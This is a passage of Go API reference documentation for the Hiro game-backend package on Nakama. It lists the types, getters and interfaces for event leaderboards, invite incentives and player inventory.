func (*EventLeaderboardScore) GetRank

func (x *EventLeaderboardScore) GetRank() int64

func (*EventLeaderboardScore) GetScore

func (x *EventLeaderboardScore) GetScore() int64

func (*EventLeaderboardScore) GetSubscore

func (x *EventLeaderboardScore) GetSubscore() int64

func (*EventLeaderboardScore) GetUpdateTimeSec

func (x *EventLeaderboardScore) GetUpdateTimeSec() int64

func (*EventLeaderboardScore) GetUsername

func (x *EventLeaderboardScore) GetUsername() string

func (*EventLeaderboardScore) ProtoMessage

func (*EventLeaderboardScore) ProtoMessage()

func (*EventLeaderboardScore) ProtoReflect

func (x *EventLeaderboardScore) ProtoReflect() protoreflect.Message

func (*EventLeaderboardScore) Reset

func (x *EventLeaderboardScore) Reset()

func (*EventLeaderboardScore) String

func (x *EventLeaderboardScore) String() string

type EventLeaderboardUpdate

type EventLeaderboardUpdate struct {

	// Event leaderboard ID.
	Id string `protobuf:"bytes,1,opt,name=id,proto3" json:"id,omitempty"`
	// Score.
	Score int64 `protobuf:"varint,2,opt,name=score,proto3" json:"score,omitempty"`
	// Subscore.
	Subscore int64 `protobuf:"varint,3,opt,name=subscore,proto3" json:"subscore,omitempty"`
	// Metadata.
	Metadata string `protobuf:"bytes,4,opt,name=metadata,proto3" json:"metadata,omitempty"`
	// contains filtered or unexported fields
}

Submit a score to an event leaderboard.

func (*EventLeaderboardUpdate) Descriptor deprecated

func (*EventLeaderboardUpdate) Descriptor() ([]byte, []int)

Deprecated: Use EventLeaderboardUpdate.ProtoReflect.Descriptor instead.

func (*EventLeaderboardUpdate) GetId

func (x *EventLeaderboardUpdate) GetId() string

func (*EventLeaderboardUpdate) GetMetadata

func (x *EventLeaderboardUpdate) GetMetadata() string

func (*EventLeaderboardUpdate) GetScore

func (x *EventLeaderboardUpdate) GetScore() int64

func (*EventLeaderboardUpdate) GetSubscore

func (x *EventLeaderboardUpdate) GetSubscore() int64

func (*EventLeaderboardUpdate) ProtoMessage

func (*EventLeaderboardUpdate) ProtoMessage()

func (*EventLeaderboardUpdate) ProtoReflect

func (x *EventLeaderboardUpdate) ProtoReflect() protoreflect.Message

func (*EventLeaderboardUpdate) Reset

func (x *EventLeaderboardUpdate) Reset()

func (*EventLeaderboardUpdate) String

func (x *EventLeaderboardUpdate) String() string

type EventLeaderboards

type EventLeaderboards struct {

	// Zero or more event leaderboards.
	EventLeaderboards []*EventLeaderboard `protobuf:"bytes,1,rep,name=event_leaderboards,json=eventLeaderboards,proto3" json:"event_leaderboards,omitempty"`
	// contains filtered or unexported fields
}

Several event leaderboards the user has access to, resulting from a listing operation.

func (*EventLeaderboards) Descriptor deprecated

func (*EventLeaderboards) Descriptor() ([]byte, []int)

Deprecated: Use EventLeaderboards.ProtoReflect.Descriptor instead.

func (*EventLeaderboards) GetEventLeaderboards

func (x *EventLeaderboards) GetEventLeaderboards() []*EventLeaderboard

func (*EventLeaderboards) ProtoMessage

func (*EventLeaderboards) ProtoMessage()

func (*EventLeaderboards) ProtoReflect

func (x *EventLeaderboards) ProtoReflect() protoreflect.Message

func (*EventLeaderboards) Reset

func (x *EventLeaderboards) Reset()

func (*EventLeaderboards) String

func (x *EventLeaderboards) String() string

type EventLeaderboardsConfig

type EventLeaderboardsConfig struct {
	EventLeaderboards map[string]*EventLeaderboardsConfigLeaderboard `json:"event_leaderboards,omitempty"`
}

EventLeaderboardsConfig is the data definition for the EventLeaderboardsSystem type.

type EventLeaderboardsConfigChangeZone

type EventLeaderboardsConfigChangeZone struct {
	Promotion  float64 `json:"promotion,omitempty"`
	Demotion   float64 `json:"demotion,omitempty"`
	DemoteIdle bool    `json:"demote_idle,omitempty"`
}

type EventLeaderboardsConfigLeaderboard

type EventLeaderboardsConfigLeaderboard struct {
	Name                 string                                                     `json:"name,omitempty"`
	Description          string                                                     `json:"description,omitempty"`
	Category             string                                                     `json:"category,omitempty"`
	Ascending            bool                                                       `json:"ascending,omitempty"`
	Operator             string                                                     `json:"operator,omitempty"`
	ResetSchedule        string                                                     `json:"reset_schedule,omitempty"`
	CohortSize           int                                                        `json:"cohort_size,omitempty"`
	AdditionalProperties map[string]string                                          `json:"additional_properties,omitempty"`
	MaxNumScore          int                                                        `json:"max_num_score,omitempty"`
	RewardTiers          map[string][]*EventLeaderboardsConfigLeaderboardRewardTier `json:"reward_tiers,omitempty"`
	ChangeZones          map[string]*EventLeaderboardsConfigChangeZone              `json:"change_zones,omitempty"`
	Tiers                int                                                        `json:"tiers,omitempty"`
	MaxIdleTierDrop      int                                                        `json:"max_idle_tier_drop,omitempty"`
	StartTimeSec         int64                                                      `json:"start_time_sec,omitempty"`
	EndTimeSec           int64                                                      `json:"end_time_sec,omitempty"`
	Duration             int64                                                      `json:"duration,omitempty"`

	BackingId           string `json:"-"`
	CalculatedBackingId string `json:"-"`
}

type EventLeaderboardsConfigLeaderboardRewardTier

type EventLeaderboardsConfigLeaderboardRewardTier struct {
	Name       string               `json:"name,omitempty"`
	RankMax    int                  `json:"rank_max,omitempty"`
	RankMin    int                  `json:"rank_min,omitempty"`
	Reward     *EconomyConfigReward `json:"reward,omitempty"`
	TierChange int                  `json:"tier_change,omitempty"`
}

type EventLeaderboardsSystem

type EventLeaderboardsSystem interface {
	System

	// ListEventLeaderboard returns available event leaderboards for the user.
	ListEventLeaderboard(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, userID string, withScores bool, categories []string) (eventLeaderboards []*EventLeaderboard, err error)

	// GetEventLeaderboard returns a specified event leaderboard's cohort for the user.
	GetEventLeaderboard(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, userID, eventLeaderboardID string) (eventLeaderboard *EventLeaderboard, err error)

	// RollEventLeaderboard places the user into a new cohort for the specified event leaderboard if possible.
	RollEventLeaderboard(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, userID, eventLeaderboardID string, tier *int, matchmakerProperties map[string]interface{}) (eventLeaderboard *EventLeaderboard, err error)

	// UpdateEventLeaderboard updates the user's score in the specified event leaderboard, and returns the user's updated cohort information.
	UpdateEventLeaderboard(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, userID, username, eventLeaderboardID string, score, subscore int64, metadata map[string]interface{}) (eventLeaderboard *EventLeaderboard, err error)

	// ClaimEventLeaderboard claims the user's reward for the given event leaderboard.
	ClaimEventLeaderboard(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, userID, eventLeaderboardID string) (eventLeaderboard *EventLeaderboard, err error)

	// SetOnEventLeaderboardsReward sets a custom reward function which will run after an event leaderboard's reward is rolled.
	SetOnEventLeaderboardsReward(fn OnReward[*EventLeaderboardsConfigLeaderboard])

	// SetOnEventLeaderboardCohortSelection sets a custom function that can replace the cohort or opponent selection feature of event leaderboards.
	SetOnEventLeaderboardCohortSelection(fn OnEventLeaderboardCohortSelection)

	// DebugFill fills the user's current cohort with dummy users for all remaining available slots.
	DebugFill(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, userID, eventLeaderboardID string, targetCount int) (eventLeaderboard *EventLeaderboard, err error)

	// DebugRandomScores assigns random scores to the participants of the user's current cohort, except to the user themselves.
	DebugRandomScores(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, userID, eventLeaderboardID string, scoreMin, scoreMax, subscoreMin, subscoreMax int64, operator *int) (eventLeaderboard *EventLeaderboard, err error)
}

An EventLeaderboardsSystem is a gameplay system which represents cohort-segmented, tier-based event leaderboards.

type Hiro

type Hiro interface {
	// SetPersonalizer is deprecated in favor of AddPersonalizer function to compose a chain of configuration personalization.
	SetPersonalizer(Personalizer)
	AddPersonalizer(personalizer Personalizer)

	AddPublisher(publisher Publisher)

	SetAfterAuthenticate(fn AfterAuthenticateFn)

	// SetCollectionResolver sets a function that may change the storage collection target for Hiro systems. Not typically used.
	SetCollectionResolver(fn CollectionResolverFn)

	GetAchievementsSystem() AchievementsSystem
	GetBaseSystem() BaseSystem
	GetEconomySystem() EconomySystem
	GetEnergySystem() EnergySystem
	GetInventorySystem() InventorySystem
	GetLeaderboardsSystem() LeaderboardsSystem
	GetStatsSystem() StatsSystem
	GetTeamsSystem() TeamsSystem
	GetTutorialsSystem() TutorialsSystem
	GetUnlockablesSystem() UnlockablesSystem
	GetEventLeaderboardsSystem() EventLeaderboardsSystem
	GetProgressionSystem() ProgressionSystem
	GetIncentivesSystem() IncentivesSystem
	GetAuctionsSystem() AuctionsSystem
	GetStreaksSystem() StreaksSystem
}

Hiro provides a type which combines all gameplay systems.

func Init

func Init(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, initializer runtime.Initializer, binPath string, licenseKey string, configs ...SystemConfig) (Hiro, error)

Init initializes a Hiro type with the configurations provided.

type Incentive

type Incentive struct {

	// The ID of the incentive.
	Id string `protobuf:"bytes,1,opt,name=id,proto3" json:"id,omitempty"`
	// Name.
	Name string `protobuf:"bytes,2,opt,name=name,proto3" json:"name,omitempty"`
	// Description.
	Description string `protobuf:"bytes,3,opt,name=description,proto3" json:"description,omitempty"`
	// Shareable incentive code.
	Code string `protobuf:"bytes,4,opt,name=code,proto3" json:"code,omitempty"`
	// The type of the incentive.
	Type IncentiveType `protobuf:"varint,5,opt,name=type,proto3,enum=hiro.IncentiveType" json:"type,omitempty"`
	// Create time in UTC seconds.
	CreateTimeSec int64 `protobuf:"varint,6,opt,name=create_time_sec,json=createTimeSec,proto3" json:"create_time_sec,omitempty"`
	// Update time in UTC seconds.
	UpdateTimeSec int64 `protobuf:"varint,7,opt,name=update_time_sec,json=updateTimeSec,proto3" json:"update_time_sec,omitempty"`
	// Expiry time in UTC seconds.
	ExpiryTimeSec int64 `protobuf:"varint,8,opt,name=expiry_time_sec,json=expiryTimeSec,proto3" json:"expiry_time_sec,omitempty"`
	// Available reward.
	RecipientRewards *AvailableRewards `protobuf:"bytes,9,opt,name=recipient_rewards,json=recipientRewards,proto3" json:"recipient_rewards,omitempty"`
	// Sender reward.
	SenderRewards *AvailableRewards `protobuf:"bytes,10,opt,name=sender_rewards,json=senderRewards,proto3" json:"sender_rewards,omitempty"`
	// Recipient user IDs for which the owner of the incentive has not yet claimed their sender reward.
	UnclaimedRecipients []string `protobuf:"bytes,11,rep,name=unclaimed_recipients,json=unclaimedRecipients,proto3" json:"unclaimed_recipients,omitempty"`
	// Sender rewards so far collected for this incentive.
	Rewards []*Reward `protobuf:"bytes,12,rep,name=rewards,proto3" json:"rewards,omitempty"`
	// Max claims.
	MaxClaims int64 `protobuf:"varint,13,opt,name=max_claims,json=maxClaims,proto3" json:"max_claims,omitempty"`
	// Current user IDs that have claimed, and their outcomes.
	Claims map[string]*IncentiveClaim `` /* 154-byte string literal not displayed */
	// Additional properties.
	AdditionalProperties *structpb.Struct `protobuf:"bytes,15,opt,name=additional_properties,json=additionalProperties,proto3" json:"additional_properties,omitempty"`
	// contains filtered or unexported fields
}

An incentive set up by a user.

func (*Incentive) Descriptor deprecated

func (*Incentive) Descriptor() ([]byte, []int)

Deprecated: Use Incentive.ProtoReflect.Descriptor instead.

func (*Incentive) GetAdditionalProperties

func (x *Incentive) GetAdditionalProperties() *structpb.Struct

func (*Incentive) GetClaims

func (x *Incentive) GetClaims() map[string]*IncentiveClaim

func (*Incentive) GetCode

func (x *Incentive) GetCode() string

func (*Incentive) GetCreateTimeSec

func (x *Incentive) GetCreateTimeSec() int64

func (*Incentive) GetDescription

func (x *Incentive) GetDescription() string

func (*Incentive) GetExpiryTimeSec

func (x *Incentive) GetExpiryTimeSec() int64

func (*Incentive) GetId

func (x *Incentive) GetId() string

func (*Incentive) GetMaxClaims

func (x *Incentive) GetMaxClaims() int64

func (*Incentive) GetName

func (x *Incentive) GetName() string

func (*Incentive) GetRecipientRewards

func (x *Incentive) GetRecipientRewards() *AvailableRewards

func (*Incentive) GetRewards

func (x *Incentive) GetRewards() []*Reward

func (*Incentive) GetSenderRewards

func (x *Incentive) GetSenderRewards() *AvailableRewards

func (*Incentive) GetType

func (x *Incentive) GetType() IncentiveType

func (*Incentive) GetUnclaimedRecipients

func (x *Incentive) GetUnclaimedRecipients() []string

func (*Incentive) GetUpdateTimeSec

func (x *Incentive) GetUpdateTimeSec() int64

func (*Incentive) ProtoMessage

func (*Incentive) ProtoMessage()

func (*Incentive) ProtoReflect

func (x *Incentive) ProtoReflect() protoreflect.Message

func (*Incentive) Reset

func (x *Incentive) Reset()

func (*Incentive) String

func (x *Incentive) String() string

type IncentiveClaim

type IncentiveClaim struct {

	// Reward granted.
	Reward *Reward `protobuf:"bytes,1,opt,name=reward,proto3" json:"reward,omitempty"`
	// Claim time in UTC seconds.
	ClaimTimeSec int64 `protobuf:"varint,2,opt,name=claim_time_sec,json=claimTimeSec,proto3" json:"claim_time_sec,omitempty"`
	// contains filtered or unexported fields
}

The result of claiming an incentive.

func (*IncentiveClaim) Descriptor deprecated

func (*IncentiveClaim) Descriptor() ([]byte, []int)

Deprecated: Use IncentiveClaim.ProtoReflect.Descriptor instead.

func (*IncentiveClaim) GetClaimTimeSec

func (x *IncentiveClaim) GetClaimTimeSec() int64

func (*IncentiveClaim) GetReward

func (x *IncentiveClaim) GetReward() *Reward

func (*IncentiveClaim) ProtoMessage

func (*IncentiveClaim) ProtoMessage()

func (*IncentiveClaim) ProtoReflect

func (x *IncentiveClaim) ProtoReflect() protoreflect.Message

func (*IncentiveClaim) Reset

func (x *IncentiveClaim) Reset()

func (*IncentiveClaim) String

func (x *IncentiveClaim) String() string

type IncentiveInfo

type IncentiveInfo struct {

	// The ID of the incentive.
	Id string `protobuf:"bytes,1,opt,name=id,proto3" json:"id,omitempty"`
	// Name.
	Name string `protobuf:"bytes,2,opt,name=name,proto3" json:"name,omitempty"`
	// Description.
	Description string `protobuf:"bytes,3,opt,name=description,proto3" json:"description,omitempty"`
	// Unique shareable incentive code.
	Code string `protobuf:"bytes,4,opt,name=code,proto3" json:"code,omitempty"`
	// The type of the incentive.
	Type IncentiveType `protobuf:"varint,5,opt,name=type,proto3,enum=hiro.IncentiveType" json:"type,omitempty"`
	// Incentive sender user ID.
	Sender string `protobuf:"bytes,6,opt,name=sender,proto3" json:"sender,omitempty"`
	// Available rewards that the caller can claim.
	AvailableRewards *AvailableRewards `protobuf:"bytes,7,opt,name=available_rewards,json=availableRewards,proto3" json:"available_rewards,omitempty"`
	// Indicator if the caller can claim rewards.
	CanClaim bool `protobuf:"varint,8,opt,name=can_claim,json=canClaim,proto3" json:"can_claim,omitempty"`
	// Reward that was granted.
	Reward *Reward `protobuf:"bytes,9,opt,name=reward,proto3" json:"reward,omitempty"`
	// Create time in UTC seconds.
	CreateTimeSec int64 `protobuf:"varint,10,opt,name=create_time_sec,json=createTimeSec,proto3" json:"create_time_sec,omitempty"`
	// Update time in UTC seconds.
	UpdateTimeSec int64 `protobuf:"varint,11,opt,name=update_time_sec,json=updateTimeSec,proto3" json:"update_time_sec,omitempty"`
	// Expiry time in UTC seconds.
	ExpiryTimeSec int64 `protobuf:"varint,12,opt,name=expiry_time_sec,json=expiryTimeSec,proto3" json:"expiry_time_sec,omitempty"`
	// Claim time in UTC seconds.
	ClaimTimeSec int64 `protobuf:"varint,13,opt,name=claim_time_sec,json=claimTimeSec,proto3" json:"claim_time_sec,omitempty"`
	// contains filtered or unexported fields
}

An incentive claimant's view of a single incentive.

func (*IncentiveInfo) Descriptor deprecated

func (*IncentiveInfo) Descriptor() ([]byte, []int)

Deprecated: Use IncentiveInfo.ProtoReflect.Descriptor instead.

func (*IncentiveInfo) GetAvailableRewards

func (x *IncentiveInfo) GetAvailableRewards() *AvailableRewards

func (*IncentiveInfo) GetCanClaim

func (x *IncentiveInfo) GetCanClaim() bool

func (*IncentiveInfo) GetClaimTimeSec

func (x *IncentiveInfo) GetClaimTimeSec() int64

func (*IncentiveInfo) GetCode

func (x *IncentiveInfo) GetCode() string

func (*IncentiveInfo) GetCreateTimeSec

func (x *IncentiveInfo) GetCreateTimeSec() int64

func (*IncentiveInfo) GetDescription

func (x *IncentiveInfo) GetDescription() string

func (*IncentiveInfo) GetExpiryTimeSec

func (x *IncentiveInfo) GetExpiryTimeSec() int64

func (*IncentiveInfo) GetId

func (x *IncentiveInfo) GetId() string

func (*IncentiveInfo) GetName

func (x *IncentiveInfo) GetName() string

func (*IncentiveInfo) GetReward

func (x *IncentiveInfo) GetReward() *Reward

func (*IncentiveInfo) GetSender

func (x *IncentiveInfo) GetSender() string

func (*IncentiveInfo) GetType

func (x *IncentiveInfo) GetType() IncentiveType

func (*IncentiveInfo) GetUpdateTimeSec

func (x *IncentiveInfo) GetUpdateTimeSec() int64

func (*IncentiveInfo) ProtoMessage

func (*IncentiveInfo) ProtoMessage()

func (*IncentiveInfo) ProtoReflect

func (x *IncentiveInfo) ProtoReflect() protoreflect.Message

func (*IncentiveInfo) Reset

func (x *IncentiveInfo) Reset()

func (*IncentiveInfo) String

func (x *IncentiveInfo) String() string

type IncentiveList

type IncentiveList struct {

	// Incentives set up by a single user.
	Incentives []*Incentive `protobuf:"bytes,1,rep,name=incentives,proto3" json:"incentives,omitempty"`
	// contains filtered or unexported fields
}

A list of incentives set up by a user.

func (*IncentiveList) Descriptor deprecated

func (*IncentiveList) Descriptor() ([]byte, []int)

Deprecated: Use IncentiveList.ProtoReflect.Descriptor instead.

func (*IncentiveList) GetIncentives

func (x *IncentiveList) GetIncentives() []*Incentive

func (*IncentiveList) ProtoMessage

func (*IncentiveList) ProtoMessage()

func (*IncentiveList) ProtoReflect

func (x *IncentiveList) ProtoReflect() protoreflect.Message

func (*IncentiveList) Reset

func (x *IncentiveList) Reset()

func (*IncentiveList) String

func (x *IncentiveList) String() string

type IncentiveRecipientClaimRequest

type IncentiveRecipientClaimRequest struct {

	// The unique incentive code.
	Code string `protobuf:"bytes,1,opt,name=code,proto3" json:"code,omitempty"`
	// contains filtered or unexported fields
}

Request by a potential incentive claimant to claim an incentive.

func (*IncentiveRecipientClaimRequest) Descriptor deprecated

func (*IncentiveRecipientClaimRequest) Descriptor() ([]byte, []int)

Deprecated: Use IncentiveRecipientClaimRequest.ProtoReflect.Descriptor instead.

func (*IncentiveRecipientClaimRequest) GetCode

func (*IncentiveRecipientClaimRequest) ProtoMessage

func (*IncentiveRecipientClaimRequest) ProtoMessage()

func (*IncentiveRecipientClaimRequest) ProtoReflect

func (*IncentiveRecipientClaimRequest) Reset

func (x *IncentiveRecipientClaimRequest) Reset()

func (*IncentiveRecipientClaimRequest) String

type IncentiveRecipientGetRequest

type IncentiveRecipientGetRequest struct {

	// The unique incentive code.
	Code string `protobuf:"bytes,1,opt,name=code,proto3" json:"code,omitempty"`
	// contains filtered or unexported fields
}

Request by a potential incentive claimant to view incentive information.

func (*IncentiveRecipientGetRequest) Descriptor deprecated

func (*IncentiveRecipientGetRequest) Descriptor() ([]byte, []int)

Deprecated: Use IncentiveRecipientGetRequest.ProtoReflect.Descriptor instead.

func (*IncentiveRecipientGetRequest) GetCode

func (x *IncentiveRecipientGetRequest) GetCode() string

func (*IncentiveRecipientGetRequest) ProtoMessage

func (*IncentiveRecipientGetRequest) ProtoMessage()

func (*IncentiveRecipientGetRequest) ProtoReflect

func (*IncentiveRecipientGetRequest) Reset

func (x *IncentiveRecipientGetRequest) Reset()

func (*IncentiveRecipientGetRequest) String

type IncentiveSenderClaimRequest

type IncentiveSenderClaimRequest struct {

	// The unique incentive code.
	Code string `protobuf:"bytes,1,opt,name=code,proto3" json:"code,omitempty"`
	// The recipient ID(s) to claim for, or empty for all.
	RecipientIds []string `protobuf:"bytes,2,rep,name=recipient_ids,json=recipientIds,proto3" json:"recipient_ids,omitempty"`
	// contains filtered or unexported fields
}

Request by a user to claim rewards from an incentive they had set up.

func (*IncentiveSenderClaimRequest) Descriptor deprecated

func (*IncentiveSenderClaimRequest) Descriptor() ([]byte, []int)

Deprecated: Use IncentiveSenderClaimRequest.ProtoReflect.Descriptor instead.

func (*IncentiveSenderClaimRequest) GetCode

func (x *IncentiveSenderClaimRequest) GetCode() string

func (*IncentiveSenderClaimRequest) GetRecipientIds

func (x *IncentiveSenderClaimRequest) GetRecipientIds() []string

func (*IncentiveSenderClaimRequest) ProtoMessage

func (*IncentiveSenderClaimRequest) ProtoMessage()

func (*IncentiveSenderClaimRequest) ProtoReflect

func (*IncentiveSenderClaimRequest) Reset

func (x *IncentiveSenderClaimRequest) Reset()

func (*IncentiveSenderClaimRequest) String

func (x *IncentiveSenderClaimRequest) String() string

type IncentiveSenderCreateRequest

type IncentiveSenderCreateRequest struct {

	// The incentive configuration ID.
	Id string `protobuf:"bytes,1,opt,name=id,proto3" json:"id,omitempty"`
	// contains filtered or unexported fields
}

Request by a user to set up a new incentive.

func (*IncentiveSenderCreateRequest) Descriptor deprecated

func (*IncentiveSenderCreateRequest) Descriptor() ([]byte, []int)

Deprecated: Use IncentiveSenderCreateRequest.ProtoReflect.Descriptor instead.

func (*IncentiveSenderCreateRequest) GetId

func (*IncentiveSenderCreateRequest) ProtoMessage

func (*IncentiveSenderCreateRequest) ProtoMessage()

func (*IncentiveSenderCreateRequest) ProtoReflect

func (*IncentiveSenderCreateRequest) Reset

func (x *IncentiveSenderCreateRequest) Reset()

func (*IncentiveSenderCreateRequest) String

type IncentiveSenderDeleteRequest

type IncentiveSenderDeleteRequest struct {

	// The unique incentive code.
	Code string `protobuf:"bytes,1,opt,name=code,proto3" json:"code,omitempty"`
	// contains filtered or unexported fields
}

Request by a user to delete an incentive they had set up.

func (*IncentiveSenderDeleteRequest) Descriptor deprecated

func (*IncentiveSenderDeleteRequest) Descriptor() ([]byte, []int)

Deprecated: Use IncentiveSenderDeleteRequest.ProtoReflect.Descriptor instead.

func (*IncentiveSenderDeleteRequest) GetCode

func (x *IncentiveSenderDeleteRequest) GetCode() string

func (*IncentiveSenderDeleteRequest) ProtoMessage

func (*IncentiveSenderDeleteRequest) ProtoMessage()

func (*IncentiveSenderDeleteRequest) ProtoReflect

func (*IncentiveSenderDeleteRequest) Reset

func (x *IncentiveSenderDeleteRequest) Reset()

func (*IncentiveSenderDeleteRequest) String

type IncentiveType

type IncentiveType int32

Types of incentives.

const (
	// Unspecified. Defaults to INVITE.
	IncentiveType_INCENTIVE_TYPE_UNSPECIFIED IncentiveType = 0
	// An invite with an associated incentive reward.
	IncentiveType_INCENTIVE_TYPE_INVITE IncentiveType = 1
)

func (IncentiveType) Descriptor

func (IncentiveType) Enum

func (x IncentiveType) Enum() *IncentiveType

func (IncentiveType) EnumDescriptor deprecated

func (IncentiveType) EnumDescriptor() ([]byte, []int)

Deprecated: Use IncentiveType.Descriptor instead.

func (IncentiveType) Number

func (IncentiveType) String

func (x IncentiveType) String() string

func (IncentiveType) Type

type IncentivesConfig

type IncentivesConfig struct {
	Incentives map[string]*IncentivesConfigIncentive `json:"incentives,omitempty"`
}

type IncentivesConfigIncentive

type IncentivesConfigIncentive struct {
	Type                 IncentiveType          `json:"type,omitempty"`
	Name                 string                 `json:"name,omitempty"`
	Description          string                 `json:"description,omitempty"`
	MaxClaims            int                    `json:"max_claims,omitempty"`
	MaxGlobalClaims      int                    `json:"max_global_claims,omitempty"`
	MaxRecipientAgeSec   int64                  `json:"max_recipient_age_sec,omitempty"`
	RecipientReward      *EconomyConfigReward   `json:"recipient_reward,omitempty"`
	SenderReward         *EconomyConfigReward   `json:"sender_reward,omitempty"`
	MaxConcurrent        int                    `json:"max_concurrent,omitempty"`
	ExpiryDurationSec    int64                  `json:"expiry_duration_sec,omitempty"`
	AdditionalProperties map[string]interface{} `json:"additional_properties,omitempty"`
}

type IncentivesSystem

type IncentivesSystem interface {
	System

	SenderList(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, userID string) (incentives []*Incentive, err error)

	SenderCreate(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, userID, incentiveID string) (incentives []*Incentive, err error)

	SenderDelete(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, userID, code string) (incentives []*Incentive, err error)

	SenderClaim(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, userID, code string, claimantIDs []string) (incentives []*Incentive, err error)

	RecipientGet(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, userID, code string) (incentive *IncentiveInfo, err error)

	RecipientClaim(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, userID, code string) (incentive *IncentiveInfo, err error)

	// SetOnSenderReward sets a custom reward function which will run after an incentive sender's reward is rolled.
	SetOnSenderReward(fn OnReward[*IncentivesConfigIncentive])

	// SetOnRecipientReward sets a custom reward function which will run after an incentive recipient's reward is rolled.
	SetOnRecipientReward(fn OnReward[*IncentivesConfigIncentive])
}

The IncentivesSystem provides a gameplay system which can create and claim incentives and their associated rewards.

type Inventory

type Inventory struct {

	// The items in the player's inventory.
	Items map[string]*InventoryItem `` /* 151-byte string literal not displayed */
	// contains filtered or unexported fields
}

The inventory in the economy or owned by user.

func (*Inventory) Descriptor deprecated

func (*Inventory) Descriptor() ([]byte, []int)

Deprecated: Use Inventory.ProtoReflect.Descriptor instead.

func (*Inventory) GetItems

func (x *Inventory) GetItems() map[string]*InventoryItem

func (*Inventory) ProtoMessage

func (*Inventory) ProtoMessage()

func (*Inventory) ProtoReflect

func (x *Inventory) ProtoReflect() protoreflect.Message

func (*Inventory) Reset

func (x *Inventory) Reset()

func (*Inventory) String

func (x *Inventory) String() string

type InventoryConfig

type InventoryConfig struct {
	Items    map[string]*InventoryConfigItem `json:"items,omitempty"`
	Limits   *InventoryConfigLimits          `json:"limits,omitempty"`
	ItemSets map[string]map[string]bool      `json:"-"` // Auto-computed when the config is read or personalized.

	ConfigSource ConfigSource[*InventoryConfigItem] `json:"-"` // Not included in serialization, set dynamically.
}

type InventoryConfigItem

type InventoryConfigItem struct {
	Name              string               `json:"name,omitempty"`
	Description       string               `json:"description,omitempty"`
	Category          string               `json:"category,omitempty"`
	ItemSets          []string             `json:"item_sets,omitempty"`
	MaxCount          int64                `json:"max_count,omitempty"`
	Stackable         bool                 `json:"stackable,omitempty"`
	Consumable        bool                 `json:"consumable,omitempty"`
	ConsumeReward     *EconomyConfigReward `json:"consume_reward,omitempty"`
	StringProperties  map[string]string    `json:"string_properties,omitempty"`
	NumericProperties map[string]float64   `json:"numeric_properties,omitempty"`
	Disabled          bool                 `json:"disabled,omitempty"`
	KeepZero          bool                 `json:"keep_zero,omitempty"`
}

type InventoryConfigLimits

type InventoryConfigLimits struct {
	Categories map[string]int64 `json:"categories,omitempty"`
	ItemSets   map[string]int64 `json:"item_sets,omitempty"`
}

type InventoryConsumeRequest

type InventoryConsumeRequest struct {

	// Item ID amounts to consume, if any.
	Items map[string]int64 `` /* 152-byte string literal not displayed */
	// Whether or not to allow overconsumption.
	Overconsume bool `protobuf:"varint,2,opt,name=overconsume,proto3" json:"overconsume,omitempty"`
	// Instance ID amounts to consume, if any.
	Instances map[string]int64 `` /* 160-byte string literal not displayed */
	// contains filtered or unexported fields
}

Request to consume some amount of items.

func (*InventoryConsumeRequest) Descriptor deprecated

func (*InventoryConsumeRequest) Descriptor() ([]byte, []int)

Deprecated: Use InventoryConsumeRequest.ProtoReflect.Descriptor instead.

func (*InventoryConsumeRequest) GetInstances

func (x *InventoryConsumeRequest) GetInstances() map[string]int64

func (*InventoryConsumeRequest) GetItems

func (x *InventoryConsumeRequest) GetItems() map[string]int64

func (*InventoryConsumeRequest) GetOverconsume

func (x *InventoryConsumeRequest) GetOverconsume() bool

func (*InventoryConsumeRequest) ProtoMessage

func (*InventoryConsumeRequest) ProtoMessage()

func (*InventoryConsumeRequest) ProtoReflect

func (x *InventoryConsumeRequest) ProtoReflect() protoreflect.Message

func (*InventoryConsumeRequest) Reset

func (x *InventoryConsumeRequest) Reset()

func (*InventoryConsumeRequest) String

func (x *InventoryConsumeRequest) String() string

type InventoryConsumeRewards

type InventoryConsumeRewards struct {

	// Updated inventory data, if changed.
	Inventory *Inventory `protobuf:"bytes,1,opt,name=inventory,proto3" json:"inventory,omitempty"`
	// Consume rewards by item ID, if any.
	Rewards map[string]*RewardList `` /* 155-byte string literal not displayed */
	// Consume rewards by instance ID, if any.
	InstanceRewards map[string]*RewardList `` /* 194-byte string literal not displayed */
	// contains filtered or unexported fields
}

Updated inventory and rewards granted from consumption.

func (*InventoryConsumeRewards) Descriptor deprecated

func (*InventoryConsumeRewards) Descriptor() ([]byte, []int)

Deprecated: Use InventoryConsumeRewards.ProtoReflect.Descriptor instead.

func (*InventoryConsumeRewards) GetInstanceRewards

func (x *InventoryConsumeRewards) GetInstanceRewards() map[string]*RewardList

func (*InventoryConsumeRewards) GetInventory

func (x *InventoryConsumeRewards) GetInventory() *Inventory

func (*InventoryConsumeRewards) GetRewards

func (x *InventoryConsumeRewards) GetRewards() map[string]*RewardList

func (*InventoryConsumeRewards) ProtoMessage

func (*InventoryConsumeRewards) ProtoMessage()

func (*InventoryConsumeRewards) ProtoReflect

func (x *InventoryConsumeRewards) ProtoReflect() protoreflect.Message

func (*InventoryConsumeRewards) Reset

func (x *InventoryConsumeRewards) Reset()

func (*InventoryConsumeRewards) String

func (x *InventoryConsumeRewards) String() string

type InventoryGrantRequest

type InventoryGrantRequest struct {

	// The items to grant.
	Items map[string]int64 `` /* 152-byte string literal not displayed */
	// contains filtered or unexported fields
}

Represents a request to grant items to the user.

func (*InventoryGrantRequest) Descriptor deprecated

func (*InventoryGrantRequest) Descriptor() ([]byte, []int)

Deprecated: Use InventoryGrantRequest.ProtoReflect.Descriptor instead.

func (*InventoryGrantRequest) GetItems

func (x *InventoryGrantRequest) GetItems() map[string]int64

func (*InventoryGrantRequest) ProtoMessage

func (*InventoryGrantRequest) ProtoMessage()

func (*InventoryGrantRequest) ProtoReflect

func (x *InventoryGrantRequest) ProtoReflect() protoreflect.Message

